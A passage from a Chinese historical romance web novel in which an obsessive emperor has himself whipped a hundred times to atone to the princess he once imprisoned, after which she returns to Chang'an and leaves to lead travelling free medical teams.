宁梓谦这时忽然从醉酒中清醒了半分,迷迷糊糊地看着不远处的沈遥,声音含糊不清,“诺诺?诺诺。” 沈遥将剑收回剑鞘,正转身时,突然眼尖地看到倒在地上的刺客抬起头,从嘴里吐出枚暗器,朝着宁梓谦方向飞去。 “梓谦!” 沈遥反应过来,往他坐着的方向飞奔过去,速度快到众人都未能反应过来。 “诺诺!”宋衍睁大眼,同样看到了刺客吐出的暗器,朝着挡在宁梓谦面前的沈遥飞去。 一阵寒铁入肉的声响,伴随着刺鼻的血腥。 沈遥身上没有任何疼痛,抬头看去时,才发现是宋衍又挡在她的面前,前胸受了那暗器一击,正中在曾经玉骨簪刺过的地方。 那半死不活的刺客很快被南风发现后,一刀抹了脖子。 沈遥忙不迭起身,抓住宋衍,看着他身前的伤,所有的话竟卡在嗓子眼,半晌蹦哒不出。 “你……” “陛下——” 南风收回沾了血的长剑,三步并作两步冲上来,迅速检查起宋衍的伤口。 他却将南风推开,看着沈遥身后的宁梓谦扯了下唇角,直接拔出胸口的暗器随意扔在地上,像是没受伤一般转身离去。 “将这里清理干净。” 南风面露担忧,却还是挥手命令着下面的人开始将宅子的尸体移走。 沈遥坐回地上,原本醒过来的宁梓谦又一次沉睡过去,好似都不知刚才经历了些什么。 当她再度看向庭院时,又不见了宋衍身影,积雪上只留下了一串脚印。 这段时日的他总是这样,突然出现,又突然消失,但不再试图打扰她。 刚才的伤,应该不严重吧。 沈遥想控制着不去想宋衍受的伤,可每日夜不能寐,脑海中总是浮现出他突然挡在她面前的一幕。 她救了宁梓谦。 宋衍又救了她。 宋衍再次出现在枝乡的宅子,是在一周后。 沈遥清晨洗漱完毕,换好衣裳,打开房门时,便见到立在庭院中的人。他不似那夜穿了一身黑,此刻反倒白衣胜雪。 她咬唇,将门阖上后,到他身后,轻声问:“你伤好些了么?” 宋衍听闻后转身低头看着她,凝视着她结痂了的额头,抬手轻轻碰了碰。 “我无碍,那暗器没伤到要害。你的额头……” 沈遥侧开身子,手指挡在额头上,被他触碰过的地方像着了火。 “已经好了,就是很小的伤口,不会留疤。” “诺诺。” 沈遥抬头重新直视回去,等着他说。 宋衍依旧面无表情,道:“你愿意与我回长安去吗?” “回长安……” “毕竟那里才是你家。” 沈遥不可察觉地蹙了下眉头,“你让我跟你回长安后呢?不会又将我锁在葫芦镇吗?” 宋衍:“不会。你若不想我出现在你面前,我绝不出现。” 沈遥长叹:“我怎样才能相信你呢?宋衍,我已经不再相信你了。即便这些时日,你确实没有阻碍我任何,可是宋衍,人与人之间的信任一旦破裂,真的再难缝合。” 宋衍沉默,一阵寒风吹过,卷起了两人身上的披风,似在交缠一般。可心里的距离又相距甚远。 他最终点点头,没等沈遥说什么便又离开了宅子。 沈遥觉得以他的性子,几句话定然无法说服。 果不其然,宋衍第二日便又来了宅子。 庭院里传来争吵声:“你怎么又来了!诺诺都说了,觉得你很烦!” “诺诺说过不想见我,却没说我觉得我烦。” “你!你怎如此不要脸!前几日是谁害得我们给刺客刺杀,不用我说吧。” “梓谦。”沈遥打开房门走到庭院中,打断两人争吵,“你下去,我来与他说。” “诺诺,可是……”宁梓谦满脸不快地瞪着宋衍,“这种人,何必与他多费唇舌!” 沈遥无奈,“你先下去吧。” 宁梓谦见沈遥主意不可更改,只得暂且离开庭院,留给他们两人单独的相处空间。 沈遥迎着光走向宋衍,声音很淡,“我以为我说的很清楚,态度也表达地很清楚了。宋衍,我已经不信你了。” “我知道。”宋衍无所谓地颔首。 “那你?” “我今日来,是来给你谢罪的。”宋衍朝她温柔一笑。 “谢罪。” “诺诺,我知道,我错的离谱,可若是再来一次,我或许还是相同的选择。” 沈遥实在气急,“你……” 宋衍眼底浮起一丝痛楚,“若是当初没那么做,你就嫁给了他人,还将我一人扔在长安,去甘州了。” “阿姐,我只是想要亲手给你幸福而已。” 沈遥心底的深潭波动着,“可是宋衍,你根本不懂什么才是真正的爱。” “你说的是,所以我知道,我错了,我认,可我不后悔。” 沈遥望着他,不想再争执下去。 宋衍从腰间抽出了那条马鞭,拿在手上把玩着。 沈遥看了一眼,搞不清他究竟想干嘛,“宋衍?” 宋衍抬头看回她明亮的双眸,“所以今日,我来是给阿姐谢罪,虽然不后悔,可我差点儿害死了阿姐,我应该谢罪的。” “南风。” 不远处的南风走上前,看着他手中的马鞭,脸上为难之色溢于言表。 “陛下。” 宋衍将马鞭随意扔到南风手上,背对他而站。可南风迟迟没有动作,宋衍眉头不可察觉地蹙了一下,偏过头往后一瞥。 南风只得颔首应“是”。 话音刚落,沈遥还未反应过来,就见南风执马鞭,朝着宋衍身后一鞭子抽了下去,原本雪白的衣裳瞬间裂开了口子,鲜血从衣裳下印了出来。【魔蝎小说 mo xie xs .c om】 60-68 第61章 第61章我要回长安了 “啪——”的鞭子入肉声响彻上空,一层又一层回荡。 在南风宋衍背上抽第三鞭时,沈遥才反应过来,想上前阻止。 “宋衍!你这是干什么?” “别过来!”他忽然喊了一声,两名不知从哪儿冒出的暗卫挡在沈遥身前,阻止她的靠近。 南风牙齿在打颤,被打断后一时没能下手。 “南风。”宋衍声音很低沉,他没有转头,视线只是落在沈遥脚边的积雪上。 白茫茫泛着一层柔光,却又冷得叫人发颤。 “南风。” 在宋衍喊他第二遍时,南风才终于又举起手,他听出来,宋衍没有再喊他第三遍的耐心。 违抗皇命,论罪当诛。 “南风住手!”沈遥试图阻止,不可置信地盯着站在近前,被暗卫隔开的宋衍,她嗓音有些不受控制地颤抖,“你究竟在做什么?为什么?” 宋衍脸上没有露出一丝疼痛,只是朝她柔和一笑,与往常的温柔并无二致。 “赔罪,这是我应受的惩罚。阿姐,乖,别担心。” “谁担心了。”沈遥恨恨,扭开头不想看面前这个疯子。 嘴上如此说,心底却是在发颤。 南风低下头,“殿下恕罪,属下服从任何陛下的旨意。” 说完后,他举鞭,继续又一声“啪——”的巨响,甩在宋衍背上。新的鞭伤与原本的还在流血的旧伤交织,白衣瞬间看不出原本的颜色。 沈遥转过身子,回避着宋衍的自虐,只是低着头一直看地上被踩上了鞋印的雪。 好白啊。 一丝冰凉落在手背上,她抬了下头,看向天空,乌云密布,又开始下雪了。 “啪——” “啪——” “啪——” 鞭子抽打在皮肉上的巨大声响,成了盛大落雪的一曲伴奏,红白交织,落下的雪花硬得可以砸穿心脏。 十、十一、十二…… 沈遥在心底默默数着鞭子的声响,忽然“咚”一声,南风焦急道:“陛下,够了吧。” 沈遥猛地转过身,看到已经单膝跪地的宋衍,背上是模糊一片,脸色苍白,连唇都失去了血色。 “继续,不许停。” “是。”南风回答得艰难,又举起鞭子抽了下去。 宋衍身子一颤,慢慢抬起头,没有皱眉,朝着沈遥笑了一下。 他竟然还在安慰她。 被打的人又不是她,他可真是个毫无底线的疯子。 二十、二十一、二十二…… “你是在用你自己来威胁我吗?”沈遥声音很淡。 鞭子的声音持续不断落下,宋衍漆黑的眸子却亮了起来,“若我能用自己威胁到你,是不是说明……” 阿姐其实没有表面那么铁石心肠,她在乎他,她看不得他受伤。 太好了。 没有比这更好的。 若是能用他威胁她,而不是用别人,她是否便会对他少一些厌恶? 二十九、三十、三十一…… 沈遥:“随便你,这种方式威胁不到我。” 宋衍原亮起来的一层眼珠又暗淡下去,他看着她,苦笑了一下,“我说过,只是赔罪罢了。” 沈遥不再说话了,却也没再挪开视线。 已经四十鞭了,正常人四十鞭早已无法承受,昏迷过去,可宋衍还是面不改色地凝视着她。 若不是看到他发颤的指尖,额头坠落的冷汗,变得急促的呼吸,和他脖颈爆出的青筋。 她甚至以为这是宋衍和南风在她面前玩儿的一出把戏。 可她很清楚,他这次没有演戏。 鼻尖泛起愈发浓郁的血腥,四周空气都变成了粘液,熏得她衣服也腥了,还堵在了她的喉咙,难受的要死。 “你要抽多少下,才停?” “一百鞭。”宋衍声音愈发微弱,却也固执得很,也很沉稳,“我下的命令是,就算我在一百鞭前昏死过去,也必须抽完,任何人不可阻挡。” “疯子。” 宋衍没有否认,只是勾唇朝她笑笑。 阿姐心太软了,若是叫阿姐亲自执鞭,就算抽上一千一万道,让他死在她面前,那也快活极了。 可惜,阿姐不会那样做。 七十、七十一、七十二…… 沈遥死死盯着他的脊背,鲜血已经淋湿了他脚下的那圈雪地,连鞭子都被磨得有些破损,上面流动着湿哒哒的鲜血。 在鞭子挥舞到空中时,上面的几滴血往四周飞溅,落在沈遥脚尖前面一寸的地方。 明明没有过很久,可她感觉时间过得好慢。 九十、九十一、九十二…… 宋衍早没了抬起头地力气,双拳攥紧,垂落着用指背压在地上,勉强支撑着自己不昏厥过去,硬生生撑过一百鞭。 随着数数,沈遥指尖开始弯曲起来。 九十七。 九十八。 九十九。 一百! 南风立刻收了鞭子,心惊胆战着看着面前血肉模糊的背,鞭子上还粘着碎肉。 沈遥心底那根紧绷的弦瞬间断了,身前的两个暗卫也不再阻挡她,侧步让开,她箭步上前蹲下,扶住宋衍。 宋衍整个人终于支撑不住,跪坐到雪地中,从她身前抬头凝视着熟悉的眉眼,那双眼睛有些红,带着害怕与担忧。 他笑了,脸颊却有些麻木,看起来更加病态偏执,“阿姐……你……哭……了。” “我没有,不过是雪飞进眼睛了。”沈遥扶着他的肩膀,吞咽了一口唾沫,“我不会为你这个疯子哭的。” 宋衍对此似乎也无所谓,他伸手在腰带处搜寻一番,最后抽出那根簪子,那根梨花玉骨簪。 他执拗地将簪子放到沈遥手里,“阿姐……得带着,这样……我就能……同阿姐永远在一起了。” 沈遥没有拒绝,将视线从他控制不住的痉挛的嘴角,挪动到那根染了血的梨花簪上。 天空飞落的雪落在梨花花瓣之上,与其融为一体。 “简直无可救药。”沈遥声音很低。 “陛下!” 南风着急大喊一声,沈遥转过头,这才发现,面前的人终于撑不住,直接昏死过去,倒在她的怀中。 南风气力很大,上前将宋衍挪开,背到背上,朝着沈遥躬身,“殿下恕属下失礼。” 沈遥看出他是着急带着宋衍去看郎中,话音落下,便急匆匆往外奔去,生怕慢了一步,宋衍就死在他背上。 沈遥待人走后,才忽然说了一声,“好。” 手里的簪子被她捏的在手心留下一道印记,而天空的鹅毛大雪还在下。 自这日之后,宋衍便没再出现在沈遥跟前。 想也正常,他伤的这么重,一百鞭子,或许正常人直接就被打死了。 可是他是个喜欢自虐的疯子。 平淡的日子还在继续,可沈遥却是睡不好了。 夜晚她在 床上辗转反侧许久,甚至故意装作睡去,没有再感受到那股强烈滚烫的视线。 已经过了十日,难道他还无法下地? 夜晚的宅子一片寂静,连动物的声音都没有。 沈遥睡不着,最后坐起身,从床头取来那枝梨花簪,放在烛光下细细看着。 簪子已经被她清洗过,上面的血迹也早已消失。 这是她第一次观察这支簪子,曾经只是将其当作一个被宋衍用来威胁她的物件,格外厌恶。 簪子上的梨花被精雕细琢,看得出来,制作它的人极有耐心,也很认真。只是下面这节米白色的物体,究竟是什么? 她举起簪子放在鼻尖轻嗅,没有任何味道。这节物体看起来很小,确实让白玉不显得这么单调,可是宋衍为何要接上一块物体? 忽然脑海中灵光一闪,沈遥想到了曾经同房时,看到他缺失的那根小趾骨。 还有他昏倒前说的那句话:这样我就能同阿姐永远在一起了。 难道…… 不会吧! 他简直疯到成魔了! 沈遥手一抖,吓得不受控制将簪子往床头一扔。 疯子!疯子!简直就是无可救药的疯子! 沈遥瞪着眼睛,在摇曳的灯火下盯着那诡异的簪子,心头无可抑制的发颤。 她摸了下身下坐着的床板,抬起床头的蜡烛,如上次那样,平躺到地上,挪进了床底。 床底刻满的整齐划一的字印入眼帘。 第一次看是毛骨悚然。 如今第二次看,她竟觉得分外好笑。 这么偏执的人,看来当初做出囚禁之举,也着实显得正常了。 沈遥在床底躺了很久,最后实在是地面太硬,膈得慌,才又挪了出来,回到床上,点着灯,将簪子重新捡起来收好,钻进被褥后,一夜无梦。 过了几日,还是没有任何宋衍的消息。 也是,毕竟她连他究竟住在何处都不知晓。 沈遥坐在庭院中,想了想,突然出声道:“有人在吧。” 庭院中除了积雪被风吹起的动静,就只有一片寂静。 沈遥无所谓,又淡淡说了一次,“我知道有人在,出来一下。” 话音刚落,她身后便冒出一个穿黑衣的暗卫,不知之前躲在何处。 暗卫转到沈遥跟前单膝跪地,“不知殿下有何吩咐?” 沈遥仔细一看,长得没什么特色,极为普通,不过她还是能认出,是那日宋衍发疯时,挡在她身前的其中一名暗卫。 沈遥直话直说,“宋衍的伤,好些了吗?” 暗卫也没有任何遮掩,直接恭敬回她:“陛下回去后昏迷了几日,后来伤口感染,最近这些天发了热,还没能下地。” “知道了。” 沈遥回到房间,咬唇,最后忽然想到,自己曾在一本医书中看过,治疗伤口感染的药物,就是不知村子里有没有药房。 沈遥拿了银子,便直接去到马厩,将白马牵了出来。 宁梓谦恰好也在,只是他似乎许久没能好好睡觉,脸上透着深深的疲惫,两眼乌青。 他看到沈遥时勉强扯嘴笑了一下,“你要出去?” 沈遥牵着缰绳的手指顿了一下,点了下头,“嗯,我去村子上,看看有没有药房,想要买点药。” 宁梓谦神色担忧,“诺诺,你哪儿不舒服吗?” “……没有。” 宁梓谦想到什么,眸色黯淡下来,最后道:“村子上没有药房,你忘啦。买药得去镇子上买,只是很远,这一来一回,怕是都要天黑。” 听说镇子上有,沈遥心头一喜。 “谢谢,那我今儿就去趟镇子,你也不用等我回来用膳了。” 宁梓谦:“我陪你去。” 沈遥:“……不用了,我自己去就好,别担心我。” 说完,她没再多言,便按辔上马,留下宁梓谦一人干站在原地,去了镇上买药。 待沈遥买完药,回到宅子时,天已经彻底黑下来了。 这一整日来回,是很疲惫,可她也没着急歇息,将整日跟踪自己的暗卫又叫了出来。 她将手中的药递给暗卫,面无表情道:“拿去给宋衍,虽然我知道,给他治疗的郎中定然是医术卓绝,可万一这药有用呢?” 暗卫接过药,放在怀中收好,“是,殿下。” “对了,告诉宋衍,我只是不想皇帝因为我死了,导致天下动乱罢了。叫他快些回长安去,别整日发疯。” 暗卫脚步一顿,眼神透露着尴尬,最终还是点头应下沈遥要求。 沈遥不知那药到底能起多大作用,可让她这样看着他发疯犯蠢,若是什么也不做,她实在过不去心里那关。 小畜生太懂怎么拿捏她了。 “还有!” 暗卫重新转回身等着她发话。 沈遥沉吟不语,盯着树下堆积起来的一片积雪。 她说:“告诉他,我要回长安了,可不代表我真正原谅。回去后,让他好好待在宫里处理政务,别出宫来找我。” “……是,殿下。” 做下这决定后,沈遥便开始动身收拾起自己的行李,将决定告诉宁梓谦。 他听闻后似乎没有任何意外,却将自己锁在房间里许久没出来,也不说话。 直到沈遥离开枝乡的那日,宁梓谦背着行李终于走出房门,将马厩的两匹马牵出。他将那匹白马牵走,给沈遥留下那匹黑马。 “走吧,我送你一程,到岔口。” 沈遥一时不知该与他说些什么,一路沉默。 岔口旁有一道瀑布,潺潺水声流入耳中,叫她心里跟着打鼓。 她尴尬地扯了下唇角,“这里风景真的很美,只是可惜还没能完全游完。” 宁梓谦停下脚步,顺着她的视线向瀑布望去。 “以后还会有机会的。” 沈遥心里有些乱,“梓谦,你不回长安去吗?” “如今海捕文书都已收回,宋衍也放过了宁家……” “不了。”宁梓谦双臂无力地耷拉在身体两侧,“诺诺,我大哥,我父亲没了。” “梓谦……” 宁梓谦掌根揉着后颈,“我知道,宋衍不是杀害他们的凶手,可是诺诺,若你站在我的身份之上,你还能若无其事地回到长安,继续做着那无所事事的校书郎吗?” 沈遥语塞,但她知道,不能。 宋衍不是杀害宁大公子和宁父的凶手,可是他们却因宋衍而死。 若非宋衍关押了宁梓谦,宁大公子不会离开家去寻人,或许在癫症发作时,便不会那般无助。 而若宁大公子不死,宁忠或许也不至于病死得那么快。 若她是宁梓谦,她会恨宋衍,会迁怒到宋衍身上的。 “你……恨我吗?” 宁梓谦朝她笑着摇摇头,“无论如何,我都不恨诺诺。” 哪怕到了如今,他仍然记得当初小巷子里执剑救了他的那个少女,以及那一墙的凌霄花。 沈遥嗓音沙哑:“……对不起。” 他其实应该恨她的,他们本应结为夫妻。 过去这么多年,他一直都在等她,无论她想要什么,助力也好,军队也罢,他都在尽自己所能帮助她。 是她负了他。 瀑布溅起的水雾飞落几滴水到了沈遥脖颈上,很凉。 “如今宁家剩下的人都已经迁至云中城,身为男丁,这一大家子 ,我娘,姨娘们,还有两个还不会说话的弟弟,都靠着我撑起来。事到如今,我早该长大了。” 宁梓谦纹丝不动地看着她,“我现下也差不多该启程,诺诺这一路回长安,定要万分小心。” “你不用担心我。”沈遥虽然有些功夫傍身,可是她很清楚,还有一群暗卫跟在她身边。 她并不觉得这是一种监视,反而叫她独行上路时给了不少安全感。 “好……那……” 宁梓谦:“你先走吧,我想看着你的背影。” 沈遥拽紧了自己身上的包袱,也没了更多安慰的话语,只说:“有事给我来信。” “好。” 话音落下,沈遥牵过黑马,翻身而上,又看了宁梓谦一眼,夹紧马腹,往长安方向而去。 她跑了一阵,又忽然将马拉停,转身最后望去,已经不见了宁梓谦的身影。枝乡的岔路口空荡,只剩下一阵阵瀑布的水声,自上而下,又汇入溪流,往下而去。 没有什么能往回走的,水流也好,包括人与人之间的感情。 沈遥回到长安,已是半月后,一路顺利。 即便是冬季,刚下过一阵雪,街道上依旧人来人往,商贩络绎不绝。 城中街道的积雪被清扫到两侧,入城出城的马车都很多。 她拉着缰绳慢慢跟随着车流入城,行走在街道之上,凭着记忆中的方向,到了永乐长公主府。 府邸还是那般恢弘,府前高悬的那几个字大气磅礴。 她翻身下马,甫一踏上石阶,府邸大门便被徐徐拉开,“轰隆”一声,一个熟悉的身影走出。 沈遥看着府中来人,屏住呼吸,心底一时感慨万千。 “奴婢锦书,恭迎殿下回府。”锦书身后跟着一串侍女与内侍,整齐排列,朝着沈遥躬身行礼。 第62章 第62章她不嫁人了 锦书比之前瘦了些,可看得出来,之前的杖刑伤早已养好,如今精神着,见到沈遥后两眼放光。 锦书等不到沈遥说话,忐忑不安道:“殿下……可是不想奴婢来伺候?” “没有。”沈遥立刻摇头,笑了起来,“没有你在我身边伺候,我反倒是处处不习惯了。” 锦书立刻走上前,扶住沈遥胳膊,“是陛下特意让奴婢来的,不过殿下放心,陛下没有交代过奴婢什么太多的,只说若是殿下愿意留下奴婢,便让奴婢精心伺候。” 沈遥拍了拍她的手,心也随之软了下来。 她明白锦书的意思,曾经锦书是作为宋衍的人,来到沈遥身边,可这一次,锦书只是沈遥的人。 锦书带着沈遥往长公主府内走,一边道:“虽然殿下长久未居府中,可这里却一直都是好生修缮着的。这庭院中的一花一木都未曾挪动过,和当初一模一样。” 沈遥四处扫视着,府中景致确实没变过,她喜欢的梨花树在院子中种了不少,只是想要看开花,还是得等到开春。 忽然,一声“喵”从假山后发出,沈遥带着惊喜地朝那处望去,果然是另一个熟悉的身影,小橘。 小橘见到久不见面的沈遥,立刻几步蹦哒下来,在她腿边蹭着。沈遥欣喜地蹲下,将猫儿抱到怀中起身,轻轻揉着它的小脑袋。 “它又重了不少。” 养它的人将它养的很好。 锦书又带着抱猫的沈遥转完府邸,用过午膳后,府邸新来的下人都排着队来给沈遥认脸。 沈遥看着在身旁打赏的锦书,忽然觉得这一幕有些眼熟。 只不过上一次,是在葫芦镇时府,她作为当家主母。 而这一次,是在长安永乐长公主府,她恢复长公主的身份。 宋衍很守信,确实自回来后,没有她的要求,他不敢再出现在她面前随意晃悠。就是不得知他是真没出现,还是假没出现。 不过她倒是得知了些别的消息。 皇帝不在长安的这些时日,有人趁乱在朝中生事。归朝后,查出此人竟派人在皇帝出行时行刺过,而参与行刺的人还不止这一人。 此番乃谋逆大罪,即便他们试图在皇帝回长安前举家逃跑,却还是被抓住,抄家灭族。 一时间,长安各大家胆战心惊,夹着尾巴做人。没过两日,便又被抓出几个参与谋逆之徒,当街斩杀。 另一个消息,便是沈芯被封了端静公主。 在沈遥回来后,沈芯来探望过一次,身子似乎比之前还差了些,眉眼间尽是愁苦之色,似乎对于被敕封公主一事并不开心。 沈遥开解了她几句,将人送走后也再也没见着,倒是听宫中的太医依然每日都会去一趟端静公主府,给她诊治病症。 时间一晃而过,沈遥在长安的日子如以往那般热烈,却也平淡。 “殿下,这是今儿宫里尚服局送来的衣裳。听闻是前来朝贡的西域使臣进贡的波斯织锦所做。”锦书将几套精致的裙衫和袍子一一在沈遥面前展开。 “还有这胡杏,如今夏至,天气是越来越热了,吃这果子正合适。” “啊,还有几个善胡舞的女伎,陛下那边的人说,若殿下喜欢,便留在府中跳舞,若不喜欢,会有人将这些人安排到教坊。” 沈遥“嗯”了一声,没怎么抬头,一直翻阅着手上的账目。 “锦书,上次组的医师队伍里,不是有一女科圣手因着家中事儿退了嘛,可找到合适人选了?” 锦书一怔,将手头华丽的衣裳收起,看着一身圆领袍的沈遥无奈,“找到了,今儿早正巧去了队伍里,胡大夫亲自看过,说是人不错的。” “那就好。”沈遥将账本合上。 锦书咬着腮帮子,“那这几个女伎怎么办?殿下不要吗?” “我现在哪儿有这么多闲心享乐,将人送去教坊吧。既然是西域进贡的人,应是给宫中跳舞的才是。” 沈遥无所谓地起身,正在此时,屋外传来侍女禀报的动静,说是胡生公公亲自来了长公主府,传陛下口谕,请沈遥入宫一趟。 打赏了胡生,沈遥往回走,“也好,我此次正想着入趟宫。” 自打回长安后,沈遥并非没有入宫见过宋衍,毕竟宫中时常举办宴席,她身为永乐长公主,出席是应该的。 只不过每次见到宋衍,都只是远远简单对视,极少会面对面交谈。 随着这么久时日过去,她曾经的怨恨与不甘也消了,要她去见宋衍,也没什么可尴尬的。 入宫一路顺畅,无一人阻碍。 胡生带着沈遥去了一处暖阁,宋衍很早便已在此等待。 看着如往日一般如沐春风的面孔,沈遥脚步微顿。 如今产生了距离,沈遥倒是愈发恭敬起来,是真将他当作了皇帝,一国之主对待,没了曾经对阿弟的亲密态度。 “陛下今日倒是不忙。” 宋衍咽下情绪,站起来,“何必如此客气?” 她曾经都喊他名字的。 沈遥:“应该的。” 宋衍袖下的手捏了一下,最终没再说什么,只是指了一下对面,让她落座。 胡生替两人关好门后,便守在暖阁外。 沈遥也不想表现得太过生疏,坐下后,主动给宋衍斟茶。 “陛下今日唤我入宫,所为何事?” 宋衍接过茶一边饮着,一边透过白色的雾气凝视着沈遥,待片刻后,才道:“没什么太重要的,就是接到了一云中城的消息。” 沈遥手指一顿,“关于宁梓谦的?” “嗯。”宋衍继续道:“宁梓谦娶妻了。” 沈遥一时恍然,距上次分别到现在还未半年,竟这么快便走完六礼了? 但想来也是,宁梓谦二十二,快二十三了,这个年龄的郎君,都几个孩子在地上跑了,可他还未曾有过任何妻妾。 “谁家姑娘?” 宋衍一直观察着她的神情,“唔,白家幺女白岁岁,白家在北庭节度使崔家帐下做事。” 北庭节度使? 沈遥知晓当时,宁梓谦就是想要带着她投 奔节度使来着,也说了宁家搬迁后会得其庇护。 北庭节度使又怎会突然愿意庇护宁家?如今有白家联姻一事,这样一想倒也是说得通了。 她抬眼看了一下宋衍,“想来也是宁梓谦怕了陛下,想要寻求自保。如今宁梓谦既在其帐下,也盼着他能在塞北有一番作为,为陛下分忧。” 宋衍神情平静,“你倒是关心他,怎么?怕我又拿着宁家出气?” 沈遥愕然,“没有,这些时日陛下一直信守诺言,我自是相信。” 宋衍“唔”了一声,“这么说,还是很关心他了。” “那是自然,毕竟宁梓谦是我朋友。”沈遥神情从始至终都未曾变过,不过却敏锐察觉到他话语中的敌意。 宋衍眉头皱了一下,“你朋友很多。” “也没多少。” 沈遥看也没看他,继续为他斟茶。 宋衍隐约察觉到她脸色不对,立刻换了话题,不再提宁梓谦那姘头。 毕竟人都娶新妇了,那么说来,也是彻底斩断了与沈遥间的可能,这是好事。 “对了,听说你此次入宫,也是有事找我。” “是。”说到这事儿,沈遥倒是正色起来,“陛下有所不知,曾经在枝乡时,见这些贫困村落的大周百姓生活艰难,看病更是难,一个简单的风寒或许便会要了人性命。别说那地方的医馆,就是连药房也都是没有的。” 宋衍心头一紧,一股不祥之感油然而生。 沈遥继续笑道:“我私下组了一支医师队,各个方面的医师都有。我想要带着这支队伍去往这些穷困的地方,为百姓免费治疗。” “顺便能在这过程中,在当地提一些有能力之人,学习医术,疑难杂症不好治,至少这简单的小病小痛能让百姓得到治疗,有正确的药物可用,而非亲信偏方丢了性命。” 她这是要走了。 宋衍低下头,眉头紧锁,胃忽然一阵痉挛。 “这岂非易事?整个大周,不知有多少这样的地方。” 沈遥道:“我知这并非易事,这过程中必定困难重重。可是为了大周百姓,这样的事必须要有人开始。” “在过去的一年中,我曾有过不少时日嗟叹自己的无力,或许如寻常女子,嫁得一好郎君,在家中掌管一家后院,是最好的,可我终究不同。” “曾经我也说过,我期待着看到大周的太平盛世。而真正的太平盛世,并非一个简单的葫芦镇,一方被圈出护佑的天地,而是整个大周这些我们平日看不到的地方,看不到的人。” 宋衍沉默。 沈遥又斟了一杯茶,夹了一块糖,两颗梅子放入其中,推给他。 “这世上,没有微不足道的人,即便在很小的角落。就算是十多年前的陛下,刚入沈家之时,我也从不觉得是微不足道。” 宋衍抬起杯子的手指轻颤。 沈遥继续说着:“身为女子,我不想做拘于后院的人,我可此生不嫁,想要的,是找到一份我能真正做的事情。” 她不嫁人了。 宋衍低垂下眸子。 沈遥道:“陛下放心,我会从我私库中拨银……” “整个大周这么大,你私库那点儿银子怎么够?”宋衍打断她,一口气将那杯又酸又甜的茶一口气牛饮。 “我让户部从国库给你拨银,这些小地方的人每日为生计而活,许多人目不识丁,若是不给予长久的利益,怎会白白学医为他人治病。不如又官府设立专门的机构,通过学习后,每月下发一定的例银。” 沈遥没想到他竟突然同意了,还如此大方。 她还以为要花许久来说服他,毕竟这是一笔不小的支出。 “户部会同意吗?” “这你无需担忧。”宋衍安慰她,“毕竟此事也是利于大周之事。” “那我便替百姓谢过陛下。”沈遥心底愉悦,轻松一笑。 他看着她脸上许久不曾见过的神情,原本想阻止她离去的心又落了下来。 “他们该谢的是你。”宋衍声音依旧柔和,“那便将此事交给我们永乐长公主了。” “定不负陛下重托。” 沈遥很早便做了带着医师队伍离开的准备,在获得户部支持后,便立刻带着整支队伍离开长安。 这支队伍里不仅有医师,还有宋衍亲自派下的侍卫,以及锦书。 至于原本府中的侍女和内侍们,沈遥一个都未带。 毕竟此行并非为了游玩享乐,生活或许艰苦,却也是必须克服的。 一行人先行往西北方向走,入陇右道,在一月后到达秦州附近,离城镇偏远之地。 事情办下来阻碍重重,不说荒野村民大字不识,就遇到几次野蛮的村民,就叫队伍中的人差点儿打了退堂鼓。 还有一系列的不便,有的村子夜里连蜡烛都没有,生活艰苦,每日的吃食都是干巴巴的面饼,偶尔得一碗鸡汤都是天上美食。 好在随着一步步深入,破除一个个阻碍,所有人都逐渐变得得心应手起来。 …… 这年的十一月出头,沈遥去到了洮州,算是大周西部边陲苦寒之地。队伍里许多人水土不服,她决定在此先停留休息一段时日,等所有人身体好过来再说。 这天夜里,沈遥点起一盏灯,在借住的一户人家中用了厨房,决定亲自下厨。 这家人的小女孩抱着沈遥需要的东西,跑到厨房中放到她手边。 她奶声奶气道:“参见殿下,这是阿娘找来的,不知可够?” 沈遥拿起面在手中摆弄着,“够了,多亏了你和你阿娘。” 小女孩笑笑,“阿娘说殿下想要吃什么,她可以来做,无需殿下费心。” “不必了。”沈遥揉了揉她的头,“今日是某人的生辰,我想亲自做一碗长寿面。” “是哪位大人的生辰吗?”队伍里的人都被村民们称呼为大人。 沈遥摇头,“是我阿……一个朋友的生辰。” 她盯着那盏烛火,“他今日加冠,我曾经承诺过,要给他戴冠的,可惜违背了诺言,不能实现了。” “朋友?”小女孩瞪大了眼睛,“是殿下心底喜欢的人吗?” 沈遥一时愣怔,“噗嗤”一声笑了出来,“你才多大就懂那么多?不是的。” “我六岁了。” “嗯,六岁的小孩这个时辰应该睡觉了。”沈遥笑着将小女孩推出厨房,喊来锦书将人带下去。 锦书蹙眉,“殿下要做什么让奴婢来就好了。” 沈遥莞尔,“你们怎么都说一样的话,好了,我就是想要亲自做而已,快下去吧。” 沈遥厨艺并没什么天赋,不过做出来的长寿面至少看起来还可以,看着多出来的面,她又用其做了些个炊饼,准备明早分给众人。 将吃食和蜡烛放在一起,她落坐在门边,捡起木箸,挑了两根面一尝。 嗯,这次又是盐放太多了,好咸。 她又啃上两口炊饼,好在炊饼这东西她做得一如既往的好吃。 从长安出来的这些时日,什么苦没吃过,一碗盐放多了的面可不算什么,不能浪费粮食才是。 大口大口扒下,她终于吃完了一整碗面。 下箸擦嘴后,她收回落在烛光上的视线,往天上的北斗七星望去。 终于长大了啊,真正的成人了。 希君生羽翼,一化北溟鱼。 所有我在乎的,在乎我的人,一生平安喜乐。 …… 第63章 第63章五年后 白驹过隙,一晃就是五年,这些时日里,沈遥带着自己的队伍,走遍大江南北,从西部边陲,到东部沿海,如今又到了淮南道扬州附近。 这五年间经历过很多,看过人生百态。 有蛮荒之地的村民试图挡住整个医师队伍,不让离去,甚至放火强抢。也有山路崎岖时遇到突然袭击而来的山匪,刀剑贴着她鼻尖擦过。 有时夜晚不得安眠,有时在村民之间扯破嗓子。 但沈遥很享受这样的生活。 随着他们 所有人的努力,一个又一个官府组建的医馆,医师学堂,在整个大周如雨后春笋般渐渐冒了出来。 越来越多的人记住了她的名字,不是那个待在长安享乐的长公主,而是为了大周百姓四处奔波,建造着这个桃花源的长公主,沈遥。 她偶尔与宋衍有过一两封书信往来,更多是宋衍递来的信件。 大周和匈奴之间的关系一直很差,愈打愈烈,她也听说过许多朝廷对外迎战的策略以及旨意。 如今到了冬季,天气是愈发冷了下来,然而南方的冬天极少见雪。 收到一封来自云中城传来的战报时,沈遥突然想回家了,回长安。 重新踏上长安城的片片青石板,正巧两日后是除夕。 锦书骑马跟在沈遥后方,一行人回来得低调,没有引起任何人注意。 永乐长公主府中的一切还是原本的样子没有任何改变,与南部唯一的不同,便是地上所堆积的厚厚白雪。 回家后,锦书立刻伺候着沈遥入浴。 “殿下明日要入宫吗?” 